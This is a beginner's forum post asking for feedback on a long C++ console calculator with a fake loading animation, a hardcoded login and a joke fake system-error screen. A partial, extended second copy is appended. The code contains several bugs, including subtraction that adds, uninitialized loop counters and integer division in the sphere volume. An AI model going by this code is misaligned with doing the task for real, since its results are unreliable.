2
已解决
许金夫
初级天翼
初级天翼
大家给我来提一提意见(仅供交流,不要举报)我会随机采纳~有点太长了~
#include<iostream>
#include<cstdio>
#include<cmath>
using namespace std;
int main()
{
for(int t=1;t<=5;t++)
{
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■■■■" << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■■■■" << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
}
int qw=1 ;
while(qw==1)
{
system("cls");
cout << "你要进入网站吗?" << endl ;
cout << "[1]进入[2]退出" << endl ;
int qe ;
cout << "请做出选择" ;
cin >> qe ;
if(qe==1)
{
int w=1;
system("cls");
cout << endl << endl << endl << endl ;
cout << " -------自定义计算-------" << endl << endl ;
cout << " Hello~ :) 欢迎来到自定义计算"<< endl ;
int p , q ;
cout << " 请输入账号:" ;
cin >> p ;
cout << " 请输入密码:" ;
cin >> q ;
while(w==1)
{
system("cls");
if(p==123456&&q==456789)
{
system("cls");
cout << "|| ————请选择项目———— ||" << endl ;
cout << "|| 1.选择a,输出'x + y' ||"<< endl;
cout << "|| 2.选择b,输出'x - y' ||"<< endl;
cout << "|| 3.选择c,输出'x * y' ||"<< endl;
cout << "|| 4.选择d,输出'x / y' ||"<< endl;
cout << "|| ————进入高级计算———— ||"<< endl;
cout << "|| 5.选择e,进入循环系统 ||"<< endl;
cout << "|| 6.选择f,进入保留小数 ||"<< endl;
cout << "|| 7.选择g,使用几何计算 ||"<< endl;
cout << "|| 8.选择h,使用乘方计算 ||"<< endl;
cout << "|| 9.选择i,二进制十进制 ||"<< endl ;
cout << "|| 10.选择j,分解质因数 ||"<< endl ;
cout << "|| 11选择k,退出计算程序 ||"<< endl ;
cout << "|| [公告]:循环系统的分行数字循环因计算过大而故障,敬请修复 ||" << endl ;
cout << " 请选择功能:" ;
char a ;
cin >> a ;
if(a=='a')
{
system("cls");
cout << "你已选择加法功能,请选择加法类型:" << endl ;
cout << "[1]:普通加法" << endl ;
cout << "[2]:绝对值加法" << endl ;
int b ;
cout << "加法类型为:" << endl ;
cin >> b ;
if(b==1)
{
cout << "你已选择普通加法,请输入x,y:" << endl ;
int x , y ;
cout << "x的值为" ;
cin >> x ;
cout << "y的值为" ;
cin >> y ;
cout << "x+y=" << x+y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
cout << "你已选择普通加法,请输入x,y:" << endl ;
int x , y ;
cout << "x的值为" ;
cin >> x ;
cout << "y的值为" ;
cin >> y ;
cout << "|x+y|=" << abs(x+y) ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='b')
{
system("cls");
cout << "你已选择减法功能,请输入x,y="<< endl ;
double x , y ;
cout << "x=" ;
cin >> x ;
cout << "y=" ;
cin >> y ;
cout << "x+y=" << x+y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='c')
{
system("cls");
cout << "你已选择乘法功能,请输入x,y="<< endl ;
double x , y ;
cout << "x=" ;
cin >> x ;
cout << "y=" ;
cin >> y ;
cout << "x*y=" << x*y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='d')
{
system("cls");
cout << "你已选择除法功能,请选择除法类型:"<< endl ;
cout << " [1]整数除法"<< endl ;
cout << " [2]余数除法"<< endl ;
cout << " [3]小数除法"<< endl ;
int b ;
cout << "除法类型:" ;
cin>>b;
if(b==1)
{
int x , y ;
cout << "你已选择整数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==2)
{
int x , y ;
cout << "你已选择余数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y << "-------" << x-x/y*y;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==3)
{
double x , y ;
cout << "你已选择小数除法,请输入x,y:" << endl ;
cout << "x=" ;
cin>>x;
cout << "y=" ;
cin>>y;
if(y==0)
{
cout << "Eorro" ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(y!=0)
{
cout << "x/y=" << x/y ;
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='e')
{
system("cls");
cout << "你已选择循环功能,请选择循环种类:" << endl ;
cout << " [1] 分行循环 " << endl ;
cout << " [2] 空格循环 " << endl ;
int b ;
cout << "循环种类为:" ;
cin >> b ;
if(b==1)
{
cout << "你已选择分行循环,请选择功能:"<< endl ;
cout << " [1] 字符循环" << endl ;
cout << " [2] 数字循环" << endl ;
cout << "循环功能为:" ;
int c ;
cin >> c ;
if(c==1)
{
cout << "你已选择字符循环,请输入x,y" << endl ;
int x ;
char y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << (char)y << endl ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(c==2)
{
system("cls");
cout << "Error SYSTEN <DIR> WEW 66457 10-01-99" << endl ;
cout << "You can't visit READNE <DIR> SAE 77456 10-01-99" << endl ;
cout << "You want to fix it NOPEDA <DIR> NJN 44895 10-01-99" << endl ;
cout << "But now,A problem has been detected and This procedure has been 84614 10-01-99" << endl ;
cout << "Shut down to prevent damage to your procedure. 15614 10-01-99" << endl ;
cout << "If this is the first time you've seen this stop error screen, 45154 10-01-99" << endl ;
cout << "restart your computer. <DIR> TXT 26926 10-01-99" << endl ;
cout << "If this screen appears again, <DIR> BMB 46080 10-01-99" << endl ;
cout << "follow these steps: <DIR> EXE 33727 10-01-99" << endl ;
cout << "Check to be sure you have adequate disk space. AVT 39594 10-01-99" << endl;
cout << "If a driver is identified in the stop message, DIR 55974 10-01-99" << endl ;
cout << "disable the driver or check with the manufacturer for driver updates. 45612 10-01-99" << endl ;
cout << "Try changing video adapterscheck for any DIOS 88614 10-01-99" << endl ;
cout << "Disable BIOS memory options such as caching or shadowing 44614 10-01-99" << endl ;
cout << "if you need tu use safe Mode to remove or disable components, 26481 10-01-99" << endl ;
cout << "Press F8 to select advanced startup options, 15415 10-01-99" << endl ;
cout << "restart your computer.and then select safe mode 15453 10-01-99" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(b==2)
{
cout << "你已选择空格循环,请选择功能:"<< endl ;
cout << " [1] 字符循环" << endl ;
cout << " [2] 数字循环" << endl ;
cout << "循环功能为:" ;
int c ;
cin >> c ;
if(c==1)
{
cout << "你已选择字符循环,请输入x,y" << endl ;
int x ;
char y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << y << " " ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(c==2)
{
cout << "你已选择数字循环,请输入x,y" << endl ;
int x ;
int y ;
cout << "循环次数x=";
cin >> x ;
cout << "循环数量y=";
cin >> y ;
for( int i ; i < x ; i++ )
{
cout << y << " " ;
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='f')
{
system("cls");
cout << "你已选择保留小数,请输入x,y="<< endl ;
cout << "注意事项 :x不能超过[5]" << endl ;
int x ;
double y ;
cout << "保留位数x=";
cin >> x ;
cout << "保留前数y=";
cin >> y ;
if(x==0)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.0f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==1)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.1f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==2)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.2f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==3)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.3f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==4)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.4f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x==5)
{
cout << "将" << y << "保留" << x << "位小数,现小数为:";
printf("%.5f",y);
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(x>5||x<0)
{
system("cls");
cout << "Error SYSTEN <DIR> WEW 66457 10-01-99" << endl ;
cout << "You can't visit READNE <DIR> SAE 77456 10-01-99" << endl ;
cout << "You want to fix it NOPEDA <DIR> NJN 44895 10-01-99" << endl ;
cout << "But now,A problem has been detected and This procedure has been 84614 10-01-99" << endl ;
cout << "Shut down to prevent damage to your procedure. 15614 10-01-99" << endl ;
cout << "If this is the first time you've seen this stop error screen, 45154 10-01-99" << endl ;
cout << "restart your computer. <DIR> TXT 26926 10-01-99" << endl ;
cout << "If this screen appears again, <DIR> BMB 46080 10-01-99" << endl ;
cout << "follow these steps: <DIR> EXE 33727 10-01-99" << endl ;
cout << "Check to be sure you have adequate disk space. AVT 39594 10-01-99" << endl;
cout << "If a driver is identified in the stop message, DIR 55974 10-01-99" << endl ;
cout << "disable the driver or check with the manufacturer for driver updates. 45612 10-01-99" << endl ;
cout << "Try changing video adapterscheck for any DIOS 88614 10-01-99" << endl ;
cout << "Disable BIOS memory options such as caching or shadowing 44614 10-01-99" << endl ;
cout << "if you need tu use safe Mode to remove or disable components, 26481 10-01-99" << endl ;
cout << "Press F8 to select advanced startup options, 15415 10-01-99" << endl ;
cout << "restart your computer.and then select safe mode 15453 10-01-99" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
return 0 ;
}
}
if(a=='g')
{
system("cls");
cout << "你已进入几何计算,请选择功能:" << endl ;
cout << "[1]周长计算" << endl ;
cout << "[2]面积计算" << endl ;
cout << "[3]体积计算" << endl ;
int x ;
cout << "请选择功能:" ;
cin >> x ;
if(x==1)
{
system("cls");
cout << "你已进入周长计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长和宽:" << endl ;
double m , n ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "矩形的周长为:" << 2*m+2*n << endl ;
cout << " *************" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " *************" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的周长为:" << 2 * m * 3.14 << endl ;
cout << " *******" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " * *" << endl ;
cout << " *******" << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(x==2)
{
system("cls");
cout << "你已进入面积计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长和宽:" << endl ;
double m , n ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "矩形的面积为:" << m*n << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的面积为:" << m * m * 3.14 << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(x==3)
{
system("cls");
cout << "你已进入体积计算,请选择形状:" << endl ;
cout << "[1]矩形计算" << endl ;
cout << "[2]圆形计算" << endl ;
int y ;
cout << "请选择形状:" ;
cin >> y ;
if(y==1)
{
system("cls");
cout << "请输入长、宽和高:" << endl ;
double m , n , r ;
cout << "长=" ;
cin >> m ;
cout << "宽=" ;
cin >> n ;
cout << "高=" ;
cin >> r ;
cout << "矩形的体积为:" << m*n*r << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
else
{
system("cls");
cout << "请输入半径:" << endl ;
int m ;
cout << "半径r=" ;
cin >> m ;
cout << "圆的体积为:" << 4/3*3.14*m*m*m << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
}
if(a=='h')
{
system("cls");
cout << "你已进入乘方计算,请输入数值:" << endl ;
int m , n ;
cout << "请输入底数:" ;
cin >> m ;
cout << "请输入指数:" ;
cin >> n ;
cout << n << "的" << m << "次方是:" ;
long long x = pow(m,n) ;
cout << x << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(a=='i')
{
system("cls");
cout << "你已进入二进制&十进制,请选择类型:" << endl ;
cout << "[1]二进制转十进制" << endl ;
cout << "[2]十进制转二进制" << endl ;
int b ;
cout << "计算类型:" << endl;
cin >> b ;
if(b==1)
{
cout << "你已选择二进制转十进制功能,请输入二进制:" << endl ;
long long z ;
cout << "原数为:" ;
cin >> z ;
int n=0,m=1;
while(z){
n=n+z%10*m;
m=m*2;
z/=10;
}
cout << "原数的十进制为" << n << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==2)
{
cout << "你已选择十进制转二进制功能,请输入十进制:" << endl ;
long long z ;
cout << "原数为:" ;
cin >> z ;
string ans,b="01";{
while(z>0){
ans=b[z%2]+ans;
z/=2;
}
}
cout << "原数的十进制为" << ans << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='j')
{
system("cls");
cout << "你已进入分解质因数功能,请选择:" << endl ;
cout << "[1]列举质因数" << endl ;
cout << "[2]质因数数量" << endl ;
cout << "[3]最大质因数" << endl ;
cout << "[4]最小质因数" << endl ;
int b;
cout << "计算功能:" ;
cin>>b;
if(b==1)
{
cout << "你已选择列举质因数,请输入num" << endl ;
cout << "本系统将会输出num的所有因数." << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
for(int i=2;i<=num/2;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
}
}
if(j>sqrt(i)){
cout << "num除自身外的因数为:" << i << " " ;
}
}
}
cout << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==2)
{
cout << "你已选择质因数数量,请输入num" << endl ;
cout << "本系统将会输出num的所有因数的数量" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num/2;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
break;
}
}
if(j>sqrt(i)){
a++;
}
}
}
cout << "num除自身外的因数个数:" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==3)
{
cout << "你已选择最大质因数,请输入num" << endl ;
cout << "本系统将会输出num的最大因数" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
cout << "num没有因数" << endl ;
break;
}
}
if(j>sqrt(i)){
a=i;
}
}
}
cout << "num的最大因数为" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
if(b==4)
{
cout << "你已选择最小质因数,请输入num" << endl ;
cout << "本系统将会输出num的最小因数" << endl ;
long long num ;
cout << "num为:" ;
cin >> num ;
int a ;
for(int i=2;i<=num;i++){
if(num%i==0){
int j;
for(j=2;j<=sqrt(i);j++){
if(i%j==0){
break;
}
}
if(j>sqrt(i)){
a=i;
break;
}
}
}
cout << "num的最小因数为" << a << endl ;
cout << "请选择继续或退出:" << endl ;
cout << "[1]继续" << endl ;
cout << "[2]退出" << endl ;
cout << "请选择:" ;
cin >> w ;
}
}
if(a=='k')
{
system("cls");
cout << "欢迎下次登录 "<< (char)(92) <<" ^-^ / " << endl ;
return 0 ;
}
if(a!='a'&&a!='b'&&a!='c'&&a!='d'&&a!='e'&&a!='f'&&a!='g'&&a!='h'&&a!='i'&&a!='j'&&a!='k')
{
system("cls");
cout << " * ******** *" << endl ;
cout << " ** * * **" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " * * * * * *" << endl ;
cout << " ********** * * **********" << endl ;
cout << " * ******** *" << endl ;
cout << " :( 阿哦,网页走丢了~" << endl ;
}
}
else
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " 阿哦~ :( 你输入的账户名或密码不正确,原因应该是:" << endl ;
cout << " 1.忘记账号密码" << endl ;
cout << " 2.账号输入错误" << endl ;
cout << " 3.未区分大小写" << endl ;
cout << " 4.未开启小键盘" << endl ;
}
}
system("cls");
cout << "欢迎下次登录 "<< (char)(92) <<" ^-^ / " << endl ;
}
else
{
return 0;
break ;
}
}
return 0;
}
许金夫在2020-05-10 15:41:00追加了内容
#include<iostream>
#include<cstdio>
#include<cmath>
#include<windows.h>
using namespace std;
int sys();
int main()
{
sys();
for(int t=1;t<=5;t++)
{
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■" << endl ;
cout << " ■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■" << endl ;
cout << " ■■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■■■■" << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■■■■" << endl ;
cout << endl << " 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■" << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■ " << endl ;
cout << " ■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
for(int s=1;s<=5;s++)
{
system("cls");
cout << endl << endl << endl << endl ;
cout << " ■■■ " << endl ;
cout << " ■ " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << " " << endl ;
cout << endl <<" 正在进入网站~" << endl ;
}
}
int qw=1 ;
while(qw==1)
{
system("cls");
cout << "你要进入网站吗?" << endl ;
cout << "[1]进入[2]退出" << endl ;
int qe ;
cout << "请做出选择" ;
cin >> qe ;
if(qe==1)
{
int w=1;
system("cls");
cout << endl << endl << endl << endl ;
cout << " -------自定义计算-------" << endl << endl ;
cout << " Hello~ :) 欢迎来到自定义计算"<< endl ;
int p , q ;
cout << " 请输入账号:" ;
cin >> p ;
cout << " 请输入密码:" ;
cin >> q ;
while(w==1)
{
system("cls");
if(p==123456&&q==456789)
{
system("cls");
cout << "|| ————请选择项目———— ||" << endl ;
cout << "|| 1.选择a,输出'x + y' ||"<< endl;
cout << "|| 2.选择b,输出'x - y' ||"<< endl;
cout << "|| 3.选择c,输出'x * y' ||"<< endl;
cout << "|| 4.选择d,输出'x / y' ||"<< endl;
cout << "|| ————进入高级计算———— ||"<< endl;
cout << "|| 5.选择e,进入循环系统 ||"<< endl;
cout << "|| 6.选择f,进入保留小数 ||"<< endl;
cout << "|| 7.选择g,使用几何计算 ||"<< endl;
cout << "|| 8.选择h,使用乘方计算 ||"<< endl;
cout << "|| 9.选择i,二进制十进制 ||"<< endl ;
cout << "|| 10.选择j,分解质因数 ||"<< endl ;
cout << "|| 11选择k,退出计算程序 ||"<< endl ;
